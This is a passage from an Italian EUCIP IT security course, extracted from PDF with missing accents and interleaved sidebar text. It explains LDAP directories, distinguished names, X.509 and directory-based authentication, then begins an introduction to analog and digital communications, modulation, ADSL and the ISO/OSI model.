Gli URL di tipo LDAP possono diventare complessi se si
usano i numerosi parametri previsti dalla sintassi. Nel ca-
so pi semplice, gli URL presentano la struttura ldap://ho-
stname[:port]/distinguishedName. Se non si specifica una
porta TCP, viene utilizzata quella di default (la 389). Il di-
stinguished name nella forma vista nella sezione prece-
dente.
Per esempio, il seguente ipotetico URL
ldap://ldap.infocamere.it/cn=CACCIA%2FANDREA%2F2003
111435A3009,ou=Ente%20Certificatore%20del%20
Sistema%20Camerale,o=InfoCamere%20SCpa,c=IT
permetterebbe al browser di accedere al server LDAP di
InfoCamere (che d accesso tra laltro ai dati dei certifica-
ti emessi da questa CA) e di aggiungere lutente Andrea
Caccia alla rubrica locale dellutente.
Le informazioni del server di InfoCamere sono suddivi-
se in diverse ou (unit organizzative). La ou Certificati di
Firma elenca i cn (nomi comuni) dei titolari dei certificati
e le relative informazioni. Se si vuole accedere alle infor-
mazioni di una voce di un server LDAP e non si conosce il
DN corrispondente, si pu utilizzare unapplicazione spe-
cifica fornita dalla CA o uno dei browser LDAP (ne esisto-
no sia gratuiti sia a pagamento) per esplorare i contenuti di
un server LDAP e procurarsi il DN dei titolari di certificato.
Con il DN inserito nellURL LDAP vista sopra, si pu usare
un web browser per visualizzare i dati del certificato.
Vediamo un esempio. Supponiamo di voler verificare il
certificato di XY, rilasciato da InfoCamere. Usiamo il brow-
5.6.2.2 Utilizzo di un
browser per
interrogare un server
LDAP
45
ser LDAP Administrator (www.ldapadministrator.com) per
accedere in lettura, in modo anonimo (senza credenziali),
al server di Infocamere (fig 45).
Aprendo la ou Certificati Di Firma e ordinando i cn in sen-
so crescente facile trovare il nominativo che ci interessa
(qui il nome del titolare oscurato per privacy) (fig 46).
In uno dei modi consentiti da LDAP Administrator (co-
me visualizzazione ed esportazione), si copia il DN del ti-
tolare del certificato e lo si incolla nel browser (in coda a
ldap://ldap.infocamere.it). Sia in IE sia in Firefox, si apre la
seguente finestra, che permette di aggiungere il nominati-
vo alla rubrica (fig 47).
Aprendo la sezione ID digitali, si seleziona il certificato
(fig 48).
Cliccando su Propriet, viene visualizzato il contenuto
del certificato (fig 49).
Conoscere il significato di Common Name,
Distinguished Name e Attributo
Riprendiamo ed estendiamo alcuni concetti introdotti
nella sezione 5.6.2.1. Il protocollo LDAP presuppone che
uno o pi server forniscano laccesso a un Directory Infor-
mation Tree. Il DIT non necessariamente memorizzato in
unico server, ma ogni server proprietario delle informa-
zioni contenute in uno o pi rami del DIT complessivo (ser-
ver master). Ogni server pu anche fornire servizi di repli-
ca rispetto a rami del DIT di cui non proprietario (server
slave); in questo caso i server possono essere configurati
in modo che le informazioni in essi contenute siano sin-
cronizzate a intervalli determinati o in tempo reale a se-
guito di una modifica dei dati.
Il DIT composto da oggetti che vengono chiamati en-
try. Ogni entry composto da un insieme di attributi, che
sono costituiti da un nome e da uno o pi valori. Uno o pi
attributi, detti naming attributes, costituiscono il nome del-
lentry, detto Relative Distinguished Name (RDN). Tutti gli
entry che condividono lo stesso padre devono avere RDN
distinti.
La concatenazione di tutti gli RDN, partendo da un de-
terminato entry fino alla root (esclusa), forma il Distingui-
shed Name (DN) di quellentry. Ogni entry ha quindi un pro-
prio DN distinto e unico.
Ogni attributo un tipo di dato che ha associati uno o
pi valori. Il tipo di dato identificato da un nome descrit-
tivo e da un Object Identifier (OID) che un identificatore
univoco assegnato da un ente di standardizzazione. Il tipo
di dato dellattributo ha associata una serie di propriet
che definiscono se il valore associato unico o pu essere
multiplo, la sintassi a cui il valore si deve conformare e le
regole con cui effettuare le ricerche (per esempio nel caso
di un nome di persona non si fa distinzione tra caratteri
maiuscoli e minuscoli). Lattributo mail, per esempio, pu
avere uno o pi valori di tipo IA5 String (ASCII) e non fa dif-
ferenza tra caratteri minuscoli e maiuscoli.
Lo schema la collezione delle definizioni dei tipi di at-
tributo, delle definizioni delle classi di oggetti e delle altre
informazioni utilizzate dal server nelle operazioni di ricer-
ca, aggiunta e modifica di entry.
Ogni entry deve avere un attributo objectClass. Questo
attributo indica quali sono le classi di oggetti associate agli
entry che determinano, insieme allo schema, quali attri-
buti sono consentiti e quali sono obbligatori allinterno
significato di
Common Name,
Distinguished Name e
Attributo
46
47
48
49
dellentry.
Le objectClass costituiscono una gerarchia e ognuna di
esse ha sempre una superclasse, da cui eredita tutti gli at-
tributi, ad eccezione della superclasse top che la radi-
ce di tutte le definizioni di objectClass.
Quando viene aggiunta una classe di oggetti, anche tut-
te le relative superclassi vengono aggiunte (la superclasse
la classe da cui una classe di oggetti eredita tutti gli attri-
buti obbligatori e opzionali).
Vi sono tre tipi di objectClass:
- Astratte (abstract), definite solo a scopo logico. Non po-
sono essere usate direttamente per definire un entry ma
possono essere superclassi di altre objectClass (ad esem-
pio la superclasse top).
- Strutturali (structural), possono essere usate per definire
un entry e ne definiscono gli attributi base. Ad esempio, la
classe di tipo Organization prevede degli attributi tipi-
camente associati a unorganizzazione, come il nome
(organizationName).
- Ausiliarie (auxiliary), possono essere usate per estendere
il numero di attributi associabili a un entry. Ad esempio,
la classe di tipo certificationAuthority prevede gli attri-
buti caCertificate dove viene memorizzato il certificato
di CA e certificateRevocationList dove viene memoriz-
zata la CRL. Questa objectClass pu essere per esempio
associata a entry di tipo Organization.
Esempi di classi di oggetti sono country (c), locality (l),
organization (o), ornanizationalUnit (ou) e person (cn). Ad
esempio, un entry cn contiene lidentificatore della perso-
na e pu includere attributi come indirizzo, telefono, privi-
legi e cos via.
La RFC 2256 (A Summary of the X.500(96) User Schema
for use with LDAPv3) fornisce una panoramica dei tipi di at-
tributo e delle classi di oggetti definiti dai comitati ISO e
ITU-T nei documenti X.500.
DN e RDN
La cima dellalbero di una directory LDAP la base, chia-
mata in inglese Base DN (paragonabile alla root di un file
system Unix). Il base DN pu essere espresso con varie no-
tazioni:
- o=FooBar, Inc., c=US
- o=foobar.com
- dc=foobar, dc=com.
Il DN composto di due parti: il base DN (lubicazione al-
linterno della directory LDAP dove si trova lentry) e lRDN
(Relative Distinguished Name).
Considerando lalbero di directory seguente (i singoli
entry sono omessi):
dc=foobar, dc=com
ou=customers
ou=asia
ou=europe
ou=usa
ou=employees
ou=rooms
ou=groups
ou=assets-mgmt
ou=nisgroups
ou=recipes
il base DN dc=foobar, dc=com e lRDN di un entry memo-
rizzato in ou=recipes cn=Oatmeal Deluxe. Il DN completo
di questo entry (costruito partendo dalla fine) quindi:
cn=Oatmeal Deluxe,ou=recipes,dc=foobar,dc=com.
Un esempio di entry LDAP
Quello che segue il record di Fran Smith, impiegato del-
la societ Foobar, Inc. Il formato di questo entry LDIF
(LDAP Data Interchange Format), usato per esportare e im-
portare gli entry dalle e nelle directory LDAP.
dn: uid=fsmith, ou=employees, dc=foobar, dc=com
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
objectclass: foobarPerson
uid: fsmith
givenname: Fran
sn: Smith
cn: Fran Smith
cn: Frances Smith
telephonenumber: 510-555-1234
roomnumber: 122G
o: Foobar, Inc.
mailRoutingAddress: fsmith@foobar.com
mailhost: mail.foobar.com
userpassword: {crypt}3x1231v76T89N
uidnumber: 1234
gidnumber: 1200
homedirectory: /home/fsmith
loginshell: /usr/local/bin/bash
Il DN di questo entry uid=fsmith, ou=employees,
dc=foobar, dc=com
In sintesi:
- Un entry composto di attributi
- Gli attributi consistono
di tipi di dati a uno o pi
valori e sono definiti se-
condo una specifica sin-
tassi
- Il tipo descrive qual
linformazione
- Il valore leffettiva infor-
mazione
Esempi di nomi di attri-
buti e abbreviazioni (ve-
di RFC 2256) (fig. 50):
Un esempio di definizione di attributo in uno schema LDAP:
attributetype ( 1.3.6.1.4.1.15490.1.11 NAME
'studentName'
DESC 'description'
EQUALITY caseIgnoreMatch
SUBSTR caseIgnoreSubstringsMatch
SYNTAX 1.3.6.1.4.1.1466.115.121.1.15
SINGLE-VALUE )
Un esempio di definizione di objectclass in uno schema
LDAP:
objectclass ( 1.3.6.1.4.1.15490.2.4 NAME 'objStudent'
DESC 'object class'
SUP top STRUCTURAL
MUST ( studentName $ studentNumber $
studentAddress $ studentAcademicYear $ studentCourse $
studentStatus $ studentYear ) )
Conoscere il significato di X.509
Tra le norme X.500, ha particolare rilevanza, ai fini della
sicurezza, la norma X.509, Directory: Authentication Fra-
mework. Si tratta di una norma fondamentale, dato che af-
fronta le problematiche pi sostanziali relative allimple-
mentazione di infrastrutture a chiave pubblica. Quello che
segue un breve sommario dei contenuti.
- Definizione del concetto di CA (Certification Authority)
come Terza Parte Fidata che si occupa della gestione del-
le chiavi pubbliche di tutte le entit che fanno parte di una
PKI.
- Definizione del formato dei certificati digitali, che asso-
ciano le entit con le loro chiavi pubbliche e che vengono
emessi dalla CA.
- Definizione delle liste di revoca dei certificati (CRL),
significato di X.509
50
che elencano i certificati che sono stati revocati (resi non
validi) prima della data di scadenza. Le CRL sono firmate e
pubblicate dalla CA.
- Definizione del concetto di mutua certificazione tra CA
diverse. Si tratta di un accordo che consente a due CA di
unire i propri domini: gli utenti di una CA sono in grado di
accettare e validare i certificati emessi dallaltra CA e vice-
versa. Perch ci accada, ogni CA emette un certificato per
la chiave pubblica dellaltra CA e questi certificati vengono
uniti in un unico oggetto detto crossCertificatePair.
- Utilizzo della directory quale deposito di tutte le infor-
mazioni di sicurezza necessarie alla PKI per il suo funzio-
namento. A questo scopo vengono descritte apposite clas-
si di oggetti che possono contenere certificati e CRL.
Le classi di oggetti che vengono definite sono le se-
guenti.
- certificationAuthority: un entry con questa objectClass
pu contenere gli attributi CACertificate, dove vengono
memorizzati i certificati della CA; certificateRevocation-
List e authorityRevocationList, dove vengono memoriz-
zate le liste di revoca per i certificati degli utenti e per i
certificati di CA; crossReferencePair, dove vengono me-
morizzati eventuali certificati di mutua autenticazione.
- strongAuthenticationUser, che consente la memorizza-
zione dei certificati utente nellattributo userCertificate.
Il formato dei certificati e delle liste di revoca stato de-
scritto nella sezione PKI.
La norma X.509, pur definendo il formato standard di
certificati e CRL, non d garanzia che due implementazio-
ni conformi allo standard possano interoperare. La gi ci-
tata RFC 3280, Internet Public Key Infrastructure Certifica-
te and Revocation List (CRL) Profile, definisce un profilo,
ovvero una serie di limitazioni ai gradi di libert concessi
dallo standard, che consente di avere applicazioni intero-
perabili.
Utilizzo dei server LDAP per la gestione dei profili
utente e lautenticazione
Come si visto, un server LDAP fornisce un servizio di
directory basato su un database con struttura gerarchica,
interrogabile da client disponibili sui vari sistemi operati-
vi, sia come software libero sia come software proprietario,
con interoperabilit assicurata dagli standard che defini-
scono il protocollo LDAP.
Esempi di server LDAP sono Active Directory, introdot-
to da Microsoft a partire da Windows 2000 server, e OpenL-
DAP, una versione Open Source ampiamente diffusa nel
mondo Linux.
Un servizio di directory fornisce un deposito centraliz-
zato e facilmente accessibile di informazioni relative a or-
ganizzazioni, unit organizzative, persone e altri elementi
appartenenti a un certo dominio, contenendo informazio-
ni come nomi, numeri di telefono e indirizzi di posta elet-
tronica. Un servizio di directory si presta altrettanto bene
a memorizzare tutte le risorse logiche e fisiche, tutti i di-
spositivi e gli elaboratori appartenenti a una rete di com-
puter appartenente a un dominio (un gruppo di computer
gestiti in modo centralizzato e caratterizzato da un peri-
metro di sicurezza). La directory pu contenere informa-
zioni dettagliate su file system (file e cartelle), stampanti,
indirizzi, credenziali di accesso, utenti e gruppi di utenti.
Per esempio, lActive Directory di Windows Server 2003
server gestisce informazioni sui computer, i domain con-
troller, la configurazione del sistema, utenti e gruppi du-
tenti e altro ancora (fig. 51).
Un profilo utente costituito da tutte le informazioni as-
sociate allutente, incluse le informazioni di autenticazione
e le autorizzazioni di accesso alle risorse di rete. Per esem-
pio, in Windows Server 2003, le propriet di un utente pos-
sono includer numerose categorie di informazioni, come si
vede nella figura. (fig. 52).
Per descrivere ogni utente e gruppo di utenti si deve po-
ter specificare quali sono le risorse a cui hanno diritto di
accedere e per quali tipi di operazioni. Ad esempio, un
utente potrebbe avere il diritto di usare una determinata
stampante, laccesso in lettura a certi archivi e laccesso in
scrittura ad altri. Questa associazione viene normalmente
espressa mediante delle Access Control List (ACL); ogni
ACL rappresenta lelenco delle regole di accesso a una ri-
sorsa ed memorizzata nella directory in una Access Con-
trol Entry (ACE).
Un altro concetto fondamentale quello di gruppo di
utenti e di gruppo di risorse. Anche i gruppi sono descritti
in entry di directory, che contengono lelenco dei membri
del gruppo e i privilegi del gruppo. Allinterno dellentry di
ogni utente o risorsa ci pu essere lelenco dei gruppi di ap-
partenenza, dato che utenti e risorse possono appartene-
re a pi gruppi. I gruppi permettono di semplificare note-
volmente lamministrazione di una rete.
Ad esempio, in una grossa organizzazione, si possono
definire dei gruppi in base alle divisioni dellorganigramma,
per esempio Promo-Marketing, Vendite, Amministra-
zione e Qualit. Considerando che esista una cartella
Marketing del file system, si pu supporre che gli utenti del
gruppo Marketing vi abbiano accesso in lettura e scrittura
e che gli utenti del gruppo Vendite vi abbiano accesso in so-
la lettura. Oltre che in base alla funzione, i gruppi possono
essere definiti anche secondo lubicazione fisica degli uten-
ti e delle risorse; possono esserci ad esempio gruppi di
utenti e risorse suddivisi per edifici e sedi distaccate e
5.6.2.5 Utilizzo dei
server LDAP per la
gestione dei profili
utente e
lautenticazione
51
52
gruppi di telelavoratori.
Il profilo utente memorizzato nella directory pu essere
utilizzato per memorizzare informazioni legate allautenti-
cazione dellutente, come hash di password, token o certi-
ficati. In questo modo, con un singolo sign-on, la directory
permette di autenticare lutente nellaccesso ai vari sistemi
e risorse che compongono la rete.
Una rete paritetica, in cui ogni computer gestisce le
informazioni relative ai propri utenti e risorse, richiede la
moltiplicazione delle attivit di gestione e una complessa
amministrazione per definire gli utenti e i privilegi per gli
accessi tra i computer della rete. Al contrario, un servizio
di directory permette di unificare il controllo e la gestione
delle informazioni, che sono mantenute coerenti e aggior-
nate; se basato su standard aperti, il servizio di directory
assicura anche la riutilizzabilit futura. Inoltre, lutilizzo di
protocolli standard permette di attuare meccanismi di pro-
visioning (approvvigionamento dinformazioni) automati-
co, popolando la directory con informazioni provenienti da
database aziendali di tipo diverso.
I meccanismi di gestione e di replica delle directory pre-
sentano vantaggi anche in termini di affidabilit, visto che
forniscono una visione logicamente coerente delle infor-
mazioni, anche se queste possono essere fisicamente di-
stribuite su pi sistemi aziendali e in diverse aree geogra-
fiche.
I server LDAP forniscono alle applicazioni uninfrastrut-
tura di supporto per lautenticazione e le autorizzazioni,
consentendo la gestione centralizzata dei profili utente, la
scelta del livello e della modalit dinterazione con i diver-
si repository dei dati (le directory) e lautomatizzazione dei
processi di creazione e rimozione degli account sui sistemi
finali. La facilit e il controllo della gestione centralizzata si
traduce quindi in una maggiore sicurezza complessiva.
ITAdministrator - Sicurezza informatica Lezione 7A
Q
uesta sezione tratta i principali aspetti di sicurezza
concernenti le reti. Dopo unintroduzione sui concetti
di base sulle reti (coperti in questa parte), nelle pros-
sime verranno esaminati i servizi erogati in rete e le relati-
ve problematiche, quindi presenteremo alcuni strumenti di
protezione, come i firewall e i sistemi di rilevamento delle
intrusioni (IDS).
Concetti di base delle comunicazioni
In questa parte esaminiamo i principali aspetti teorici
delle comunicazioni digitali concentrando lattenzione sul-
le fondamenta comuni di quasi tutte le installazioni: la rete
locale, basata sul protocollo Ethernet, e Internet, basata sui
protocolli della famiglia TCP/IP.
Entrambi i tipi di comunicazione digitale utilizzano la
suddivisione dei dati in pacchetti; perci, dopo una pano-
ramica sulle comunicazioni analogiche e digitali, ci occu-
peremo dei principi delle comunicazioni a pacchetto e del-
le nozioni fondamentali sul funzionamento di Ethernet e
TCP/IP.
Comunicazioni analogiche e digitali, larchitettura
ISO/OSI anche in relazione alla sicurezza
Gli strumenti di comunicazione possono veicolare mes-
saggi attraverso diversi mezzi trasmissivi (come gas, liqui-
di, solidi - conduttori e non - e il vuoto) tramite variazioni
di qualche grandezza fisica (come pressione, tensione o
corrente elettrica, e onde elettromagnetiche). Le comuni-
cazioni elettriche (che sfruttano la corrente elettrica per
trasferire informazioni), nei casi pi semplici si basano sul-
la trasformazione dellinformazione da trasmettere in va-
riazioni di una grandezza elettrica, come la tensione o la
corrente.
Il telefono, ad esempio, trasmette una corrente elettrica
il cui valore riproduce le variazioni di pressione dellaria
causate dalla voce umana. La frequenza e intensit del suo-
no sono tradotte dal campo acustico al mondo elettrico
(mediante il microfono) e viceversa (attraverso l'auricola-
re); gli amplificatori assicurano che il segnale arrivi al rice-
vitore con potenza adeguata.
Un altro caso il telegrafo, che nella situazione pi sem-
plice si limita a trasmettere impulsi di corrente di valore co-
stante. La corrente zero quando il tasto del telegrafista
alzato, mentre assume un certo valore quando il telegrafi-
sta lo preme per trasmettere un punto (impulso breve) o
una linea (impulso lungo).
Linformazione data dalle successioni che compongo-
no le sequenze di impulsi, secondo il codice introdotto da
Morse e Vail nel 1835 (Vail scrisse il codice, che fu aggiun-
to al brevetto di Morse per il telegrafo), e modificato in Ger-
mania nel 1848.
La settima lezione di Eucip IT Administrator Sicurezza
Informatica copre un campo vastissimo: la sicurezza di rete.
Dobbiamo quindi suddividerla in cinque parti per coprire tutti i
temi. In questa prima puntata troverete i fondamenti del
networking e del protocollo TCP/IP e come sia possibile sfruttarli
per un attacco.
rivista, un articolo molto
pi esteso in formato PDF, e un
corso multimediale
completo su DVD di Giorgio Gobbi
Materiale didattico
validato da AICA
IT Administrator
Modulo 5 -
IT Security
"AICA Licenziataria
programma EUCIP
of Informatic
validato copre
puntualmente e
integralmente gli
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
del marchio EUCIP,
vigenti"
2.0 (curriculum
ufficiale AICA)
5.7 Sicurezza di rete
5.7.1 Concetti di
base delle
comunicazioni
5.7.1.1 Essere al
corrente dei
fondamenti di
comunicazione
analogica/digitale.
Conoscere i principi
di base relativi alla
sicurezza
nell'architettura
ISO/OSI
applicazioni
In collaborazione
con:
Sicurezza di rete Ethernet e TCP/IP
Rete Ethernet
e TCP/IP
Lezione 7A IT Administrator - Sicurezza informatica
Il nucleo del codice Morse
In questi due esempi notiamo la
differenza tra analogico e digitale. La
telefonia utilizza segnali analogici,
ovvero variabili con continuit, sen-
za interruzioni, entro determinati in-
tervalli di valori di frequenza e di
corrente. Il segnale elettrico telefo-
nico analogo al segnale acustico
della voce (ne segue fedelmente le
variazioni). La telegrafia utilizza se-
gnali digitali, ovvero segnali che pos-
sono assumere solo determinati va-
lori discreti. Digitale deriva da dito, il
primo strumento per contare; un si-
stema digitale si basa sui numeri, in
particolare 0 e 1, utilizzati nel siste-
ma binario. Nella sua forma origina-
ria, il telegrafo usa 0 (assenza di cor-
rente) e 1 (trasmissione
di corrente) come segnali
digitali. In una forma pi
evoluta, lo 0 e l1 possono
essere rappresentati da
qualsiasi coppia di segna-
li distinti (in tensione, fre-
quenza, ecc.).
A prima vista, i segnali analogici sono superiori, vista la
comodit con cui si pu trasmettere la voce per telefono ri-
spetto alla lentezza e macchinosit di comunicare in codi-
ce Morse. Con un segnale analogico si possono trasmette-
re informazioni con la massima fedelt possibile, per esem-
pio riproducendo nei minimi dettagli le variazioni dinten-
sit e di frequenza dei suoni.
Le comunicazioni digitali si dimostranon, tuttavia, su-
periori quando si tratta di riconoscere e correggere gli er-
rori di trasmissione; poich la scelta tra assenza e pre-
senza di segnale, oppure tra due valori di segnale, molto
pi facile ricostruire fedelmente il segnale trasmesso.
Le comunicazioni elettriche, sia analogiche sia digitali,
possono essere trasmesse, nella loro forma originaria, so-
lo per tratti brevi (il segnale si attenua e si distorce) e via
filo. Se si utilizzano le comunicazioni radio, necessario
usare un processo detto modulazione, che consiste nel va-
riare un segnale portante (di solito sinusoidale) allo scopo
di utilizzarlo per veicolare informazioni.
Unonda radio composta da un campo elettrico e da un
campo magnetico, che oscillano periodicamente con an-
damento sinusoidale su piani perpendicolari.
Onda elettromagnetica
Il segnale elettrico
caratterizzato da tre pa-
rametri: frequenza, am-
piezza e fase. Unonda
elettromagnetica costan-
te non trasporta informa-
zioni, al di l delle dedu-
zioni che si possono trar-
re dalla sua presenza. Per trasmettere informazioni, oc-
corre introdurre variazioni in almeno uno dei tre parame-
tri del segnale. Per esempio, un telegrafo ottico (del tipo
usato in marina) trasmette un segnale elettromagnetico (la
luce) modulato in ampiezza, alternando assenza e presen-
za di luce; in questo caso, parliamo di modulazione di am-
piezza. Mentre nella telegrafia lampiezza varia tra due va-
lori, nelle comuni trasmissioni radio vengono inviati suoni
(parole e musica) nello spettro delle frequenze udibili. La
banda delle Onde Medie utilizza la modulazione dampiez-
za (AM, amplitude modulation) dove londa portante (car-
rier, di frequenza tra 500 e 1610 KHz) varia di ampiezza, in
base allampiezza del segnale audio da trasmettere.
Modulazione dampiezza
Nelle trasmissioni a modu-
lazione di frequenza (FM), che
hanno progressivamente sop-
piantato le trasmissioni AM
dalla fine degli anni '90, il se-
gnale audio modula londa
portante in frequenza, senza
variarne lampiezza. In tal mo-
do, la qualit superiore (la
trasmissione meno soggetta
a disturbi), e la scelta dello
spettro intorno ai 100 MHz
permette di avere canali a
banda pi larga e trasmissione
stereo.
Modulazione di frequenza
Uno dei primi metodi per
trasmettere segnali digitali su
cavi telefonici stato lutilizzo
di segnali audio analogici mo-
dulati in frequenza. I due valo-
ri 0 e 1 venivano trasmessi co-
me segnali audio di 1200 e
2200 Hz, unalternanza di fi-
schi trasmissibile da qualsiasi
canale adatto alla voce umana
(che, per essere comprensibi-
le, richiede una banda minima
da 300 a 3400 Hz).
La modulazione di fase con-
siste nel variare la fase del segnale, ovvero la posizione
temporale. Lo sfasamento si misura secondo un angolo:
uno sfasamento di 90 corrisponde, per esempio, allo spo-
stamento di un quarto di sinusoide.
Modulazione di fase
La versione digitale della
modulazione di fase si chiama
Phase Shift Keying (PSK), e con-
siste nel modificare la fase del
segnale di riferimento (londa
portante) in base ai bit da tra-
smettere.
Oggi le tecniche di modula-
zione usate sulle linee telefoni-
che sono pi sofisticate, grazie
ai cavi che trasportano facil-
mente, nel tratto dalla centrale
allutenza (il cosiddetto ultimo
miglio), frequenze di 1-2 MHz.
Luso di frequenze elevate per-
mette di ampliare lo spettro di
frequenze del segnale modula-
tore e, quindi, la velocit di trasmissione (il numero di bit
per secondo) . Inoltre, si pu sfruttare la banda larga di-
sponibile per trasmettere contemporaneamente il segnale
telefonico (allinizio dello spettro di frequenze), assieme al
flusso uscente (upstream) e al flusso entrante (downstream)
del segnale digitale. Nelle connessioni ADSL (Asymmetric
Digital Subscriber Line), si riserva al downstreamla maggior
parte della banda, considerando che le esigenze di
upstream siano nettamente inferiori.
NellADSL il segnale portante suddiviso in tanti canali
adiacenti larghi circa 4 KHz, ognuno modulato individual-
mente in base alle capacit del canale (rapporto segna-
le/rumore). Il primo canale riservato alla telefonia tradi-
zionale, detta POTS (Plain Old Telephone Service); la gam-
ma successiva riservata allupstream(dati trasmessi), se-
guito dai canali di downstream. La trasmissione contempo-
ranea di pi informazioni sullo stesso mezzo trasmissivo si
Modulazione dampiezza:
in FM londa portante
modulata in frequenza
Modulazione di frequenza:
converte segnali analogici
in digitali
Modulazione di fase: nel
digitale londa portante
viene modificata dal PSK
Onda elettromagnetica:
modulazione di ampiezza
in banda AM
chiama multiplexing (multiplazione), che pu avvenire sud-
dividendo i canali nel tempo (time multiplexing), ossia ri-
partendo le informazioni da trasmettere per ciascun cana-
le in finestre temporali, di lunghezza fissa, che si susse-
guono. Immaginando tre canali, la prima finestra tempora-
le conterrebbe i dati del primo, la seconda quelli del se-
condo, e la terza i dati del terzo, per poi ricominciare con
il primo canale a partire dalla quarta finestra temporale. Il
multiplexing possibile anche trasmettendo i canali su fre-
quenze diverse contemporaneamente presenti (frequency
multiplexing), come nellADSL.
NellADSL ogni canale modulato in ampiezza e fase, e
pu trasmettere fino a un massimo di 15 bit per singolo to-
no; tale modulazione prende il nome di Quadrature Ampli-
tude Modulation (QAM). Nellesempio che segue, suppo-
niamo che il canale trasmetta tre bit per clock e che le ot-
to combinazioni di tre bit siano trasmesse abbinando due
valori dampiezza e quattro valori di spostamento di fase
(phase shift).
Il dispositivo che modula il segnale digitale con il se-
gnale analogico prima di trasmetterlo, e che ricava il se-
gnale digitale dal segnale analogico in ricezione, prende il
nome di modem (modulator/demodulator).
Esistono numerosi tipi di modulazione: la modulazione
a codice di impulsi (PCM, Pulse Code Modulation, e sue va-
rianti), per esempio, viene usata per trasformare un se-
gnale analogico in digitale tramite campionamento del-
lampiezza del segnale in un intervallo di valori discreti
(con 8 bit il segnale pu assumere 256 valori). In questo
modo, anche il segnale telefonico, una volta digitalizzato,
pu essere manipolato dalle centrali pubbliche e dai cen-
tralini privati in modo molto pi veloce ed efficiente ri-
spetto ai vecchi metodi analogici, senza contare la miriade
di servizi ausiliari offerti dalla telefonia digitale.
Oggi la telefonia si evoluta fino a farsi trasportare sul-
le reti locali e su Internet utilizzando le tecnologie e i di-
spositivi VoIP (Voice over IP). Il segnale telefonico, ridotto
a sequenze binarie e a pacchetti di dati (nel caso VoIP),
soggetto a manipolazioni che consentono livelli di econo-
mia e flessibilit un tempo impensabili.
Il modello ISO/OSI
Lo scambio di comunicazioni digitali pu essere sem-
plice come luso di una linea telegrafica, oppure molto com-
plesso, secondo le necessit. Per classificare i tipi di fun-
zionalit che possono essere necessarie in una rete e favo-
rire un approccio comune e linteroperabilit tra apparec-
chiature, lISO (International Organization for Standardiza-
tion) ha sviluppato negli anni 80 il modello di riferimento
OSI (Open Systems Interconnection Reference Model, docu-
menti serie ISO/IEC 7498).
Il modello OSI descrive unarchitettura di rete a sette
strati (layer) che standardizza i livelli di servizio e i tipi d'in-
terazione per i computer e altri dispositivi connessi a una
rete. In questo schema, le comunicazioni da computer a
computer sono separate in sette strati di protocolli (a vol-
te gli strati sono chiamati anche livelli), e ogni strato co-
struisce il proprio funzionamento sulla base di quelli sot-
tostanti. Ogni strato interfaccia con il sottostante, di cui uti-
lizza le funzioni, e con lo strato soprastante, a cui fornisce
le proprie funzioni.
Un protocollo una descrizione formale del formato dei
messaggi e delle regole che due o pi macchine devono ri-
spettare per scambiare quei messaggi. Unaltra definizione
sintetica di protocollo : linsieme di regole che governa-
no la sintassi, la semantica e la sincronizzazione della co-
municazione. Un protocollo pu essere implementato in
software, hardware, o una combinazione dei due.
Un sistema basato sul modello OSI include uno stack (pi-
la) di protocolli, classificati secondo lo strato di apparte-
nenza. Lo strato superiore (strato 7) quello applicativo e
include, ad esempio, protocolli come FTP (File Transfer Pro-
ADSL: la suddivisione
della banda in canali di 4
KHz
ADSL: la banda di
frequenze suddivisa in
tre intervalli
ADSL: i bit da trasmettere
modulano la portante in
ampiezza e fase
ADSL: il segnale
modulato in ampiezza e
fase
Valore di bit Ampiezza Spostamento di fase
000 1 nessuno
001 2 nessuno
010 1 1/4
011 2 1/4
100 1 1/2
101 2 1/2
110 1 3/4
111 2 3/4
tocol), DNS (Domain Name System) e SMTP (Simple Mail
Transfer Protocol). Lo strato inferiore (strato 1) quello fi-
sico e comprende, per esempio, i protocolli di trasporto
Ethernet, come 100BASE-TX.
In una visione ISO/OSI, una funzione o protocollo che
opera su un computer (host) a un certo strato (per esem-
pio un client FTP a strato 7), da un punto di vista logico co-
munica con unanaloga funzione di pari strato su un altro
computer (per esempio un server FTP). Da un punto di vi-
sta fisico, il protocollo sul lato origine invoca le funzioni
dello strato sottostante e cos via, fino allo strato fisico.
Questo invia le comunicazioni sul mezzo trasmissivo (filo,
radio, fibra ottica, ecc.), che sono ricevute dallo strato fi-
sico del lato destinazione; dallo strato fisico, i dati rag-
giungono lo strato applicativo di destinazione risalendo
verso l'altro, attraverso gli strati intermedi.
Il modello di riferimento ISO/OSI
Per capire il funzionamento dellarchitettura OSI, ve-
diamo la funzione di ciascuno strato.
- 1. Strato fisico. Comprende tutte le funzioni che permet-
tono di connettere le varie apparecchiature che devono
dialogare tra loro. A questo livello appartengono le de-
scrizioni delle caratteristiche fisiche delle interfacce
(componenti e connettori), gli aspetti elettrici o ra-
dioelettrici (livelli di segnale, aspetti funzionali), le mo-
dulazioni utilizzate e aspetti funzionali come linstaura-
zione, il mantenimento e la chiusura del collegamento fi-
sico.
- 2. Collegamento dati (data link). Definisce le regole per in-
viare e ricevere informazioni tra due sistemi in comu-
nicazione. Il suo scopo principale suddividere i dati
che gli sono stati affidati dallo strato 3 (rete) in frame
(trame - termine che indica i pacchetti di strato 2) e in-
viarli attraverso lo strato fisico. Lo strato data link del
sistema ricevente invia un messaggio di riconoscimen-
to (acknowledgment) prima che il mittente invii un altro
frame. Allo strato 2, la comunicazione avviene da pun-
to a punto tra due entit (lo strato 3 - rete - gestisce col-
legamenti fra tre o pi sistemi, con frame trasmessi at-
traverso collegamenti multipli). Nelle reti di tipo broad-
cast (diffusione a tutti i dispositivi connessi a un mezzo
condiviso), come Ethernet, stato aggiunto un sotto-
strato MAC (Medium Access Control) per consentire a
pi dispositivi di condividere lo stesso mezzo trasmis-
sivo e di competere per il suo uso. In caso di problemi
di trasmissione allo strato fisico, lo strato data link de-
ve provvedervi, ritrasmettendo le informazioni o se-
gnalando il guasto allo strato di rete. Lo strato 2 inclu-
de due sotto-strati: di essi, LLC (Logical Link Control)
quello superiore, mentre il citato MAC quello inferio-
re, adiacente allo strato fisico. Lo strato 2 annovera nu-
merosi protocolli, tra cui Ethernet (lo standard, di fatto,
delle reti locali su cavo), Token Ring (diffuso da IBM, ma
ora poco comune) e FDDI (Fiber Distributed Data Inter-
face un tipo di rete token ring in fibra ottica). A cia-
scuno di questi corrisponde un preciso tipo di LAN fi-
sica. Sempre allo strato 2, troviamo PPP (Point to Point
Protocol per i collegamenti via modem o altra inter-
faccia seriale), HDLC (High-Level Data Link Protocol
per l'interconnessione di reti locali mediante linee dati,
anche su lunghe distanze), Frame Relay (per l'intercon-
